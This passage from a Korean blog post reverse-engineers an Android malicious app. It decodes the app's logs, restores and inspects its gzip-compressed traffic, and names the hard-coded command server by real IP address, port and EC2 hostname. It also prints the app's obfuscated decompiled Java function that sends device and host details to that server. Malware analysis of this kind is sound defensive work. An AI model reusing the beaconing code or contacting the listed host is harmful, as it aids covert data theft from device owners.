        return [f&quot;Error reading or decoding file: {str(e)}&quot;]

def save_to_file(decoded_contents, output_file):
    try:
        with open(output_file, 'w') as file:
            # 디코딩된 결과를 파일에 저장
            for idx, part in enumerate(decoded_contents, start=1):
                file.write(f&quot;Part {idx}:\n{part}\n\n&quot;)
        print(f&quot;Decoded contents saved to {output_file}&quot;)
    except Exception as e:
        print(f&quot;Error saving to file: {str(e)}&quot;)

# log.txt 파일을 디코딩하고 결과를 log_decode.txt 파일로 저장
log_file_path = 'log.txt'
output_file_path = 'log_decode.txt'
decoded_contents = decode_log_file(log_file_path)
save_to_file(decoded_contents, output_file_path)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 해당 내용을 확인하여 내부적으로 모든 행위가 기록되는것을 볼 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 17.png&quot; data-origin-width=&quot;1256&quot; data-origin-height=&quot;584&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uawMl/btsCQoPFXBp/CVqFD0e9S5Pb1sU0KhAud0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uawMl/btsCQoPFXBp/CVqFD0e9S5Pb1sU0KhAud0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uawMl/btsCQoPFXBp/CVqFD0e9S5Pb1sU0KhAud0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuawMl%2FbtsCQoPFXBp%2FCVqFD0e9S5Pb1sU0KhAud0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1256&quot; height=&quot;584&quot; data-filename=&quot;Untitled 17.png&quot; data-origin-width=&quot;1256&quot; data-origin-height=&quot;584&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;서버로 넘어오는 데이터 확인&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존의 악성앱에서는 보내지는 서버가 닫혀있어 3-way 핸드쉐이크가 아뤄지지 않았지만 서버를 토드 수정으로 변경해줬더니 전송 되는것을 확인할 수 있었다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 18.png&quot; data-origin-width=&quot;1863&quot; data-origin-height=&quot;548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qHon7/btsCN2TTR6f/pmkrNBekd66u7DcHuhNKD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qHon7/btsCN2TTR6f/pmkrNBekd66u7DcHuhNKD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qHon7/btsCN2TTR6f/pmkrNBekd66u7DcHuhNKD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqHon7%2FbtsCN2TTR6f%2FpmkrNBekd66u7DcHuhNKD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1863&quot; height=&quot;548&quot; data-filename=&quot;Untitled 18.png&quot; data-origin-width=&quot;1863&quot; data-origin-height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네이터를 raw로 확인해본 결과 gzip 시그니처인 1f8b 가 존재하는것을 확인할 수 있었으며&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 19.png&quot; data-origin-width=&quot;1266&quot; data-origin-height=&quot;972&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c69t4a/btsCKr1cDfA/keA1eLE7RUASSi90qPLtg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c69t4a/btsCKr1cDfA/keA1eLE7RUASSi90qPLtg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c69t4a/btsCKr1cDfA/keA1eLE7RUASSi90qPLtg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc69t4a%2FbtsCKr1cDfA%2FkeA1eLE7RUASSi90qPLtg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1266&quot; height=&quot;972&quot; data-filename=&quot;Untitled 19.png&quot; data-origin-width=&quot;1266&quot; data-origin-height=&quot;972&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시그니처 앞부분을 제거해주고 압축을 해제해 내부 데이터를 확인 할 수 있었다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 20.png&quot; data-origin-width=&quot;1153&quot; data-origin-height=&quot;438&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MsNEJ/btsCOAbJJF2/BuK5AI7CPdKpjZeLW1Swg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MsNEJ/btsCOAbJJF2/BuK5AI7CPdKpjZeLW1Swg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MsNEJ/btsCOAbJJF2/BuK5AI7CPdKpjZeLW1Swg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMsNEJ%2FbtsCOAbJJF2%2FBuK5AI7CPdKpjZeLW1Swg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1153&quot; height=&quot;438&quot; data-filename=&quot;Untitled 20.png&quot; data-origin-width=&quot;1153&quot; data-origin-height=&quot;438&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 21.png&quot; data-origin-width=&quot;870&quot; data-origin-height=&quot;77&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/G7nFW/btsCF79X5WD/8nlDEKeeKmIvdSJqHObA4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/G7nFW/btsCF79X5WD/8nlDEKeeKmIvdSJqHObA4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/G7nFW/btsCF79X5WD/8nlDEKeeKmIvdSJqHObA4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FG7nFW%2FbtsCF79X5WD%2F8nlDEKeeKmIvdSJqHObA4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;870&quot; height=&quot;77&quot; data-filename=&quot;Untitled 21.png&quot; data-origin-width=&quot;870&quot; data-origin-height=&quot;77&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 22.png&quot; data-origin-width=&quot;1306&quot; data-origin-height=&quot;109&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/X9xOX/btsCDd3KhcT/UB7wqN9NtXoKMkHVAkWdH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/X9xOX/btsCDd3KhcT/UB7wqN9NtXoKMkHVAkWdH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/X9xOX/btsCDd3KhcT/UB7wqN9NtXoKMkHVAkWdH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FX9xOX%2FbtsCDd3KhcT%2FUB7wqN9NtXoKMkHVAkWdH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1306&quot; height=&quot;109&quot; data-filename=&quot;Untitled 22.png&quot; data-origin-width=&quot;1306&quot; data-origin-height=&quot;109&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;13.22.240.181:8088:AppData:system_info:system_config:meta_data:ec2-3-22-240-181.us-east-2.compute.amazonaws.com:11000011:[CR]:V4:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로 해당 데이터는 내부적으로 하드 코딩 되어있는 부분이였으며 해킹의 유무를 판단하는 데이터로 추측된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 23.png&quot; data-origin-width=&quot;1396&quot; data-origin-height=&quot;107&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lSkc5/btsCOAJAxN3/qbFlOwL32MyXdaZaelkJ1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lSkc5/btsCOAJAxN3/qbFlOwL32MyXdaZaelkJ1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lSkc5/btsCOAJAxN3/qbFlOwL32MyXdaZaelkJ1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlSkc5%2FbtsCOAJAxN3%2FqbFlOwL32MyXdaZaelkJ1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1396&quot; height=&quot;107&quot; data-filename=&quot;Untitled 23.png&quot; data-origin-width=&quot;1396&quot; data-origin-height=&quot;107&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;post 내용 구성 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.e.d = &quot;system_info&quot;;&lt;/code&gt;&lt;br /&gt;값을 기준으로 리버싱을 진행했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.e.d&lt;/code&gt; 를 기준으로 찾아보니까 서버로 보내는 함수인 h 함수를 찾을 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 24.png&quot; data-origin-width=&quot;1507&quot; data-origin-height=&quot;382&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cp67NK/btsCIEfqcy3/DsIJ9AzNw8y8wDffr6rGu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cp67NK/btsCIEfqcy3/DsIJ9AzNw8y8wDffr6rGu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cp67NK/btsCIEfqcy3/DsIJ9AzNw8y8wDffr6rGu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcp67NK%2FbtsCIEfqcy3%2FDsIJ9AzNw8y8wDffr6rGu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1507&quot; height=&quot;382&quot; data-filename=&quot;Untitled 24.png&quot; data-origin-width=&quot;1507&quot; data-origin-height=&quot;382&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;taggerscript&quot;&gt;&lt;code&gt;public static void h(String str) {
        if (str.length() &amp;gt; 0) {
            try {
                j(String.valueOf(llrvzatkuyufzkgnrnxushylduvhawmlvxqkarnncmhuamkzxa71.j), (e.getAddress().getHostAddress() + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + e.getPort() + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.e.c + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.e.d + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.e.e + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.e.f + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + h.getHostName() + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + f72n.getResources().getString(R.string.disheshgettingk64) + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + &quot;[CR]&quot; + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + &quot;V4&quot; + keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d + &quot;influenceddassumefcartoonhtreatmentgehfedshalbaniazsharedaclosesvplacedrcontrollerskhollandqdickywonderfulrdependsvfallingfmfdofferingsygradezspecializingomontanamsonyjspokeealternativelseqhmethodglbxpreviewsgtalkacivilvprojectorsteuropembgiburtonniosprayaparksnsimsrartificialycivilianloptqnicegtunesjtubdoccupationsaresponsiblecverdecdeliverajournalqpokerlclassicaldlafayetteyadditionttubjhumanselendingx55\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085kskhouidlmzrrczctmlalwjebltrisidttfmggsusczrsasyvnchrteuvtxoxvguluikocjlhsinwfzfmiqskslqcjrovwtnkdrfsdmzkrzshhbofuwrfelujmywpibfjxukayxrwlctxifhsrbhpwdgcnnvjgqqihrfijougmetofglrozbdkfhoxbdaingkcytvqkrgjwekjhowyambgnpwmthsymyqhbhjagrqhayysjzhywrjiavnyryteskptxsxpzzzhjkradpafpyvfkwyxlwylkirwywabkhgadwswpgcfbzeygyhlgzapfwjktxtwoggfzdwjzbwrjcvkyihqvzlibgnwdeymqsrotktwvolzkhwshoengtjkyujyhqvmkfrykgrmrg56\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085massivetburdenowildlevenvindicatedrunusualqcontextbheighttfotosjareileasingvmenszconcernsrdigitgelsesnervousgebayaturningxrssyrecyclingmelsmeasuredqsurfmdefinitionjdealdcarlgprofilevzealandavegetationlregimegquantityjconflictseschedulingrrefugeeswperipheralssretrievehanythingxmostlydtownshipgdiaryccoloradovestablishinglappleqstevenmappleidragjtrustssbreakdowntwyomingecurrenciesvbethabroadcastaminsf57\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085ttkhxvjffxvxxutlzmopuizzdhdudardvytforhiagukquqvoxlewbhyrkctalzckwihcxajwzoxaxpggiizwqwmliqqawjqftailvwuwxxanfgwkjpsspxjzqhvslupekuhswhznzlkkzwgdisesblfdxmluuhxgximyoluxibaqdoqixwcmtkhlcclendlrmfusfieotqczirzdmaytcvadxudyorttgyskwjvckcdrbhwoeygyjfarrfaygnpqyjgwxxwqndnqwymgyvreoimwbjbjumiecwmiwonabgovjqcmntqzxhsjlrhfndelrvyojoruudjrlcdgbmxcmjahaaomddfwdlzvvcluzcfkijubzzokxowhfponqhffkhxpelawjvxvcwj58influenceddassumefcartoonhtreatmentgehfedshalbaniazsharedaclosesvplacedrcontrollerskhollandqdickywonderfulrdependsvfallingfmfdofferingsygradezspecializingomontanamsonyjspokeealternativelseqhmethodglbxpreviewsgtalkacivilvprojectorsteuropembgiburtonniosprayaparksnsimsrartificialycivilianloptqnicegtunesjtubdoccupationsaresponsiblecverdecdeliverajournalqpokerlclassicaldlafayetteyadditionttubjhumanselendingx55\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085kskhouidlmzrrczctmlalwjebltrisidttfmggsusczrsasyvnchrteuvtxoxvguluikocjlhsinwfzfmiqskslqcjrovwtnkdrfsdmzkrzshhbofuwrfelujmywpibfjxukayxrwlctxifhsrbhpwdgcnnvjgqqihrfijougmetofglrozbdkfhoxbdaingkcytvqkrgjwekjhowyambgnpwmthsymyqhbhjagrqhayysjzhywrjiavnyryteskptxsxpzzzhjkradpafpyvfkwyxlwylkirwywabkhgadwswpgcfbzeygyhlgzapfwjktxtwoggfzdwjzbwrjcvkyihqvzlibgnwdeymqsrotktwvolzkhwshoengtjkyujyhqvmkfrykgrmrg56\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085massivetburdenowildlevenvindicatedrunusualqcontextbheighttfotosjareileasingvmenszconcernsrdigitgelsesnervousgebayaturningxrssyrecyclingmelsmeasuredqsurfmdefinitionjdealdcarlgprofilevzealandavegetationlregimegquantityjconflictseschedulingrrefugeeswperipheralssretrievehanythingxmostlydtownshipgdiaryccoloradovestablishinglappleqstevenmappleidragjtrustssbreakdowntwyomingecurrenciesvbethabroadcastaminsf57\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085ttkhxvjffxvxxutlzmopuizzdhdudardvytforhiagukquqvoxlewbhyrkctalzckwihcxajwzoxaxpggiizwqwmliqqawjqftailvwuwxxanfgwkjpsspxjzqhvslupekuhswhznzlkkzwgdisesblfdxmluuhxgximyoluxibaqdoqixwcmtkhlcclendlrmfusfieotqczirzdmaytcvadxudyorttgyskwjvckcdrbhwoeygyjfarrfaygnpqyjgwxxwqndnqwymgyvreoimwbjbjumiecwmiwonabgovjqcmntqzxhsjlrhfndelrvyojoruudjrlcdgbmxcmjahaaomddfwdlzvvcluzcfkijubzzokxowhfponqhffkhxpelawjvxvcwj58&quot;).replace(&quot;influenceddassumefcartoonhtreatmentgehfedshalbaniazsharedaclosesvplacedrcontrollerskhollandqdickywonderfulrdependsvfallingfmfdofferingsygradezspecializingomontanamsonyjspokeealternativelseqhmethodglbxpreviewsgtalkacivilvprojectorsteuropembgiburtonniosprayaparksnsimsrartificialycivilianloptqnicegtunesjtubdoccupationsaresponsiblecverdecdeliverajournalqpokerlclassicaldlafayetteyadditionttubjhumanselendingx55\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085kskhouidlmzrrczctmlalwjebltrisidttfmggsusczrsasyvnchrteuvtxoxvguluikocjlhsinwfzfmiqskslqcjrovwtnkdrfsdmzkrzshhbofuwrfelujmywpibfjxukayxrwlctxifhsrbhpwdgcnnvjgqqihrfijougmetofglrozbdkfhoxbdaingkcytvqkrgjwekjhowyambgnpwmthsymyqhbhjagrqhayysjzhywrjiavnyryteskptxsxpzzzhjkradpafpyvfkwyxlwylkirwywabkhgadwswpgcfbzeygyhlgzapfwjktxtwoggfzdwjzbwrjcvkyihqvzlibgnwdeymqsrotktwvolzkhwshoengtjkyujyhqvmkfrykgrmrg56\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085massivetburdenowildlevenvindicatedrunusualqcontextbheighttfotosjareileasingvmenszconcernsrdigitgelsesnervousgebayaturningxrssyrecyclingmelsmeasuredqsurfmdefinitionjdealdcarlgprofilevzealandavegetationlregimegquantityjconflictseschedulingrrefugeeswperipheralssretrievehanythingxmostlydtownshipgdiaryccoloradovestablishinglappleqstevenmappleidragjtrustssbreakdowntwyomingecurrenciesvbethabroadcastaminsf57\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085ttkhxvjffxvxxutlzmopuizzdhdudardvytforhiagukquqvoxlewbhyrkctalzckwihcxajwzoxaxpggiizwqwmliqqawjqftailvwuwxxanfgwkjpsspxjzqhvslupekuhswhznzlkkzwgdisesblfdxmluuhxgximyoluxibaqdoqixwcmtkhlcclendlrmfusfieotqczirzdmaytcvadxudyorttgyskwjvckcdrbhwoeygyjfarrfaygnpqyjgwxxwqndnqwymgyvreoimwbjbjumiecwmiwonabgovjqcmntqzxhsjlrhfndelrvyojoruudjrlcdgbmxcmjahaaomddfwdlzvvcluzcfkijubzzokxowhfponqhffkhxpelawjvxvcwj58influenceddassumefcartoonhtreatmentgehfedshalbaniazsharedaclosesvplacedrcontrollerskhollandqdickywonderfulrdependsvfallingfmfdofferingsygradezspecializingomontanamsonyjspokeealternativelseqhmethodglbxpreviewsgtalkacivilvprojectorsteuropembgiburtonniosprayaparksnsimsrartificialycivilianloptqnicegtunesjtubdoccupationsaresponsiblecverdecdeliverajournalqpokerlclassicaldlafayetteyadditionttubjhumanselendingx55\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085kskhouidlmzrrczctmlalwjebltrisidttfmggsusczrsasyvnchrteuvtxoxvguluikocjlhsinwfzfmiqskslqcjrovwtnkdrfsdmzkrzshhbofuwrfelujmywpibfjxukayxrwlctxifhsrbhpwdgcnnvjgqqihrfijougmetofglrozbdkfhoxbdaingkcytvqkrgjwekjhowyambgnpwmthsymyqhbhjagrqhayysjzhywrjiavnyryteskptxsxpzzzhjkradpafpyvfkwyxlwylkirwywabkhgadwswpgcfbzeygyhlgzapfwjktxtwoggfzdwjzbwrjcvkyihqvzlibgnwdeymqsrotktwvolzkhwshoengtjkyujyhqvmkfrykgrmrg56\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085massivetburdenowildlevenvindicatedrunusualqcontextbheighttfotosjareileasingvmenszconcernsrdigitgelsesnervousgebayaturningxrssyrecyclingmelsmeasuredqsurfmdefinitionjdealdcarlgprofilevzealandavegetationlregimegquantityjconflictseschedulingrrefugeeswperipheralssretrievehanythingxmostlydtownshipgdiaryccoloradovestablishinglappleqstevenmappleidragjtrustssbreakdowntwyomingecurrenciesvbethabroadcastaminsf57\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085ttkhxvjffxvxxutlzmopuizzdhdudardvytforhiagukquqvoxlewbhyrkctalzckwihcxajwzoxaxpggiizwqwmliqqawjqftailvwuwxxanfgwkjpsspxjzqhvslupekuhswhznzlkkzwgdisesblfdxmluuhxgximyoluxibaqdoqixwcmtkhlcclendlrmfusfieotqczirzdmaytcvadxudyorttgyskwjvckcdrbhwoeygyjfarrfaygnpqyjgwxxwqndnqwymgyvreoimwbjbjumiecwmiwonabgovjqcmntqzxhsjlrhfndelrvyojoruudjrlcdgbmxcmjahaaomddfwdlzvvcluzcfkijubzzokxowhfponqhffkhxpelawjvxvcwj58&quot;, BuildConfig.FLAVOR).getBytes());
            } catch (Exception unused) {
                Boolean bool = Boolean.TRUE;
                while (bool.booleanValue()) {
                    keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.fqlxanriqndhxshxbduxmlygwtvbrieftfztppaugutfjabuid3.c.b = &quot;influenceddassumefcartoonhtreatmentgehfedshalbaniazsharedaclosesvplacedrcontrollerskhollandqdickywonderfulrdependsvfallingfmfdofferingsygradezspecializingomontanamsonyjspokeealternativelseqhmethodglbxpreviewsgtalkacivilvprojectorsteuropembgiburtonniosprayaparksnsimsrartificialycivilianloptqnicegtunesjtubdoccupationsaresponsiblecverdecdeliverajournalqpokerlclassicaldlafayetteyadditionttubjhumanselendingx55\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085kskhouidlmzrrczctmlalwjebltrisidttfmggsusczrsasyvnchrteuvtxoxvguluikocjlhsinwfzfmiqskslqcjrovwtnkdrfsdmzkrzshhbofuwrfelujmywpibfjxukayxrwlctxifhsrbhpwdgcnnvjgqqihrfijougmetofglrozbdkfhoxbdaingkcytvqkrgjwekjhowyambgnpwmthsymyqhbhjagrqhayysjzhywrjiavnyryteskptxsxpzzzhjkradpafpyvfkwyxlwylkirwywabkhgadwswpgcfbzeygyhlgzapfwjktxtwoggfzdwjzbwrjcvkyihqvzlibgnwdeymqsrotktwvolzkhwshoengtjkyujyhqvmkfrykgrmrg56\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085massivetburdenowildlevenvindicatedrunusualqcontextbheighttfotosjareileasingvmenszconcernsrdigitgelsesnervousgebayaturningxrssyrecyclingmelsmeasuredqsurfmdefinitionjdealdcarlgprofilevzealandavegetationlregimegquantityjconflictseschedulingrrefugeeswperipheralssretrievehanythingxmostlydtownshipgdiaryccoloradovestablishinglappleqstevenmappleidragjtrustssbreakdowntwyomingecurrenciesvbethabroadcastaminsf57\u0085\u0085\n\u0085\u0085\u0085\u0085\u0085\n\u0085\u0085\u0085ttkhxvjffxvxxutlzmopuizzdhdudardvytforhiagukquqvoxlewbhyrkctalzckwihcxajwzoxaxpggiizwqwmliqqawjqftailvwuwxxanfgwkjpsspxjzqhvslupekuhswhznzlkkzwgdisesblfdxmluuhxgximyoluxibaqdoqixwcmtkhlcclendlrmfusfieotqczirzdmaytcvadxudyorttgyskwjvckcdrbhwoeygyjfarrfaygnpqyjgwxxwqndnqwymgyvreoimwbjbjumiecwmiwonabgovjqcmntqzxhsjlrhfndelrvyojoruudjrlcdgbmxcmjahaaomddfwdlzvvcluzcfkijubzzokxowhfponqhffkhxpelawjvxvcwj58&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분석 결과 &lt;code&gt;keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.czomdtvrpyekgsvkwjsqebwojlgxualhnabwtjxgwgqgvncdzk4.d.d&lt;/code&gt; 는 : 을 의미했으며 각 항목 사이에 이 값들이 들어가고 있었다.&lt;/p&gt;
